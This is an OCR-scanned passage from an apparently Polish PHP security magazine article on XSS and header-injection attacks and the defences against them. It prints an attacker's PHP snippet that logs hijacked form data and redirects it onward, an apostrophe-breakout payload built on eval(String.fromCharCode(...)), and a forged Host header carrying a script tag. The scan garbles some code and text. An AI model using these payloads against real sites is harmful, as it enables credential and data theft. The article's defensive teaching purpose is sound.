larzy z zadaniem informacji o rozliczeniach
w witrynach zwigzanych z handlem elektro-
nicznym. W tym przypadku cigg atakujacy
moze postuzyé¢ do takiej modyfikacji wtasci-
WwoSCi action formularzy, by przesytaty one
zgtaszane dane do innej witryny.

Skrypt XSS przedstawiony na Listingu
9 modyfikuje wtasciwo$¢ action wszyst-
kich formularzy na danej stronie zgodnie
z zamystem napastnika, dzieki czemu
informacje podane przez uzytkownika nie
trafig na zamierzong strone, tylko do intru-
za. Bardziej pomystowy ztoczynca zadba
nie tylko o przechwycenie istotnych da-
nych, lecz réwniez o ukrycie $ladéw ataku
poprzez przekierowanie tych danych tam,
gdzie powinny byly trafi¢. Stuzy do tego
tymczasowe przekierowanie:

log_data($_GET, $_POST);
header ("HTTP/1.0 307 Moved Permanently");
header ("Location: ".$ SERVER['QUERY STRING']);

Zgodnie ze specyfikacja, przekierowanie
zgdania POST powinno by¢ potwierdzone
przez uzytkownika — odpowiednie okno
dialogowe wyswietla Firefox. Wyswietlany
komunikat nie jest jednak zbyt czytelny,
wiec wielu uzytkownikéw odruchowo kliknie
opcje twierdzaca, a nawet jesli tego nie
uczynia, to szkoda i tak zostata juz wyrza-
dzona, gdyz napastnik uzyskat wystane
dane. Prawdziwg gratkg dla intruza jest
w tym przypadku Internet Explorer, ktory
kompletnie ignoruje specyfikacje i dokonuje
przekierowania bez zadnego ostrzezenia,
w efekcie catkowicie ukrywajac fakt prze-
stania zadania POST za posrednictwem
strony nieuprawnionej. Z punktu widzenia
uzytkownika wyglada to po prostu tak,
jakby cata operacja zostata wykonana
pomyslnie, gdyz wszystko dziata i nie
jest zgtaszany zaden problem. Caly atak
odbywa sie poprzez przekierowania, wiec
zawarto$¢ nagtdwka HTTP REFERER hie jest
aktualizowana i wykrycie ataku podczas
jego trwania nie jest mozliwe.

Zdarzajg sie tez aplikacje, ktorych
tworcy nie docenili mozliwosci atakdéw XSS
i wprowadzili podstawowe, lecz niedosta-
teczne zabezpieczenia. Nierzadko bywa
tak, ze niezbedne do wstawienia znacznika
znaki <, " i > sg bezpiecznie kodowane
odpowiednio jako entytki
lecz znak apostrofu pozostaje

&gt;, &quot;

i &lt;,
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nietkniety. Jest to typowy efekt korzysta-
nia z domysinych ustawien funkcji PHP
htmlspecialchars () i ntmlentities (), poz-
walajgcych zakodowaé znaki specjalne
jako odpowiadajgce im encije HTML.
Problem niekodowanych apostroféw jest
taki, ze atrybuty umieszczane w obrebie
znacznikow HTML (i potencjalnie wypeinia-
ne danymi wprowadzanymi przez uzyt-
kownika) moga by¢ ujete wtasnie w apo-
strofy. Napastnik moze wykorzysta¢ je do
domknigcia istniejacego atrybutu i dopisania
wiasnego. Moglibysmy na przykiad sprébo-
wac¢ wstawic¢ atrybut onMouseover, ktc'er
wywotywatby zdarzenie JavaScriptu w mo-
mencie najechania myszg na zaatakowany
element strony. Tworzac kod stuzacy do
przeprowadzenia ataku musimy jedynie
pamieta¢ o unikaniu znakéw kodowanych
i uzywaniu apostrofu jako znaku obej-
mujacego wartosci atrybutow. Moze sie
to wydawa¢ nieco skomplikowane, ale
w rzeczywistosci przeprowadzenie takiego
ataku jest trywialne dzieki dwém funkcjom
JavaScriptu:
pozwalajacej zamieni¢ liste kodéw ASCII
na fancuch ztozony z odpowiadajacych im
znakdw, oraz eval (), wykonujacej kod zapi-
sany w przekazanym jej tancuchu znakow.
Aby po najechaniu myszg na zaatakowany
element pojawiat sie komunikat JavaScrip-
tu o tresci XSS, wystarczy wstawi¢ do
wartosci dowolnego z atrybutéw elementu

nastepujacy ciag:

String. fromCharCode (),

' onMouseOver='eval (String.fromCharCode
(97,108,101,114,116,40,39,88,83,83,39,
41,59))" !

Poczatkowy apostrof zamyka otwarty atry-
but, a ostatni otwiera nastepny, by unikng¢
btedu parsowania HTML. Tre$¢ wstawio-
na pomiedzy apostrofami zawiera nowy
atrybut, ktérego wartoscig jest kod Java-
Scriptu wykonujacy za pomocg funkcji
eval() polecenie alert('xss'); ztozone
z przekazanych kodéw ASCII.

Aby unikng¢ tego zagrozenia, na-
lezy zawsze pamietaé o przekazywa-
niu EnT QuoTES jako wartosci drugiego
argumentu  funkgciji
i htmlentities(), CO spowoduje przeko-
dowanie apostroféw na odpowiadajaca im
encje HTML s#039;.

Pokrewnym btedem walidacji jest
zabezpieczanie tresci dostarczanych
przez uzytkownika wytgcznie za pomocag
funkcji strip tags(). Funkcja ta bardzo
skutecznie usuwa znaczniki HTML, ale

htmlspecialchars ()
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nic nie robi w kwestii cudzystowoéw i apo-
strofow, co w przypadku bezposredniego
wykorzystania wprowadzanych danych
otwiera droge do ataku ze wstawieniem
atrybutéw. Poprawna walidacja polega
na wykonaniu funkgcji strip tags(), a na-
stepnie przetworzeniu wyniku jej dziata-
nia za pomoca htmlspecialchars() lub

htmlentities ().

// poprawna walidacja

S$text = htmlspecialchars(
strip tags($_POST['msg']),
ENT_QUOTES) ;

Tak sprawdzone dane sg odporne na atak
i mozna je bezpiecznie zapisa¢ na dysku
lub wyswietlic w przegladarce uzytkownika.

Kluczowg sprawg jest walidacja
wszystkich danych wejsciowych, nie-
zaleznie od ich pochodzenia. Typowym
btedem jest filtrowanie jedynie danych
otrzymywanych za posrednictwem zadan
GET i POST oraz plikéw cookie, a po-
mijanie walidacji danych pobieranych ze
zmiennych $rodowiskowych serwera za
posrednictwem nadrzednej zmiennej glo-
balnej s srrver. Niektérzy programisci
zapominaja, ze zmienne s$rodowiskowe
sg wprawdzie pobierane bezposrednio
z serwera, ale ich wartosci sg czesto
ustalane na podstawie danych dostar-
czonych przez uzytkownika, a wiec mo-
ga stanowi¢ takie samo zagrozenie, jak
informacje pobierane bezposrednio. Co
wiecej, dane te sg czesto wyswietlane
w panelach administracyjnych w razie
wystgpienia btedu, przez co sg o tyle bar-
dziej niebezpieczne, ze ich ofiarg moze
pas¢ uzytkownik o rozszerzonych upraw-
nieniach (administrator). Jeden z moz-
liwych atakéw tego typu wykorzystuje
warto$¢ zmiennej urTe_HOST, Zawierajacej
nazwe domeny, w ktérej znajduje sie ak-
tualnie przetwarzana strona. Wydaje sie,
ze warto$¢ ta powinna by¢ bezpieczna
— napastnik nie moze chyba zmieni¢ na-
zwy domeny? To niezupetnie tak. Warto$¢
zmiennej jest pobierana z nagtéwka Host
dostarczanego przez hosta zgtaszajace-
go zadanie. Jesli witryna ma wiasny ad-
res IP lub podstawowy (pierwszy) adres
z puli wirtualnych adreséw IP, zagdanie ze
spreparowang wartoscig tego nagtéwka
zostanie poprawnie przetworzone przez
serwer Apache. Oznacza to, ze zadanie
strony z takiej witryny mozna sfatszowac,
tym samym umieszczajgc dowolne dane
W Zmiennej HTTP_HOST:

www.phpsolmag.org
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GET / HTTP/1.0

Host: <script>...

Efekt jest taki, ze $ SERVER['HTTP HOST']
zawiera teraz warto$¢ <script>...
lub inne, znacznie bardziej szkodliwe
dane. Podobne sztuczki mozna stoso-
wa¢ w przypadku innych nagtéwkow,
na przyktad via (zmienna HTTP VIA)
CZy X-Forwarded-For (zmienna HTTP_
X_FORWARDED FOR), Uzywanych przez
serwery posredniczace do wskazywania
uzytkownika, od ktérego pochodzi Zza-
danie. Zamiast adresu lub listy adresow
IP, napastnik moze zapisa¢ w tych na-
gtéwkach dowolne dane, ktére zostang
wykonane przez kazdy bez wyjatku
serwer WWW. Jedynym bezpiecznym
nagtéwkiem jest chyba remoTE ADDR, ktdry
przechowuje adres IP uzytkownika, gdyz
jest on ustawiany przez serwer i moze
zawiera¢ wylacznie poprawny adres.
Wszystkie inne wartosci pobierane z na-
gtéwkow trzeba zawsze doktadnie spraw-
dza¢ przed wykorzystaniem.

Ten krotki przeglad mozliwosci atakéw XSS
i CSRF pokazal, ze stanowig one jak naj-
bardziej realne zagrozenie i trzeba sie
przed nimi broni¢. Zabezpieczenie aplika-
cji i serweréw przed atakami nie jest trud-
ne, wiec bezpieczenstwo Twojego serwera
spoczywa wytgcznie w Twoich rekach. Kie-
rujgc sie kilkoma prostymi zasadami moz-
na znacznie ograniczy¢ ryzyko nieautory-
zowanego dostepu do danych i spowodo-
wanych nim strat.

llia Alshanetsky jest gtownym architek-
tem oprogramowania w firmie Advanced
Internet Designs Inc., specjalizujgcej sie
w audytach bezpieczenstwa, analizach
wydajno$ci i tworzeniu aplikacji. Jest
twércg FUDforum (http://fudforum.org)
stworzonego z myslg o potgczeniu roz-
budowanych mozliwo$ci z wydajnosciq
i wysokim poziomem bezpieczeristwa.
llia nalezy do gtownego zespotu progra-
mistow PHP i uczestniczyt w tworzeniu
rozszerzeni miedzy innymi dla SHMORP,
PDO, SQLite, GD i ncurses. Czynnie
uczestniczy w pracach zespotu kontroli
Jakosci PHP i ma na koncie setki popra-
wionych bteddéw, jak rowniez sporo popra-
wek wydajnosciowych i nowych funkcji.
Kontakt z autorem: ilia@prohost.org





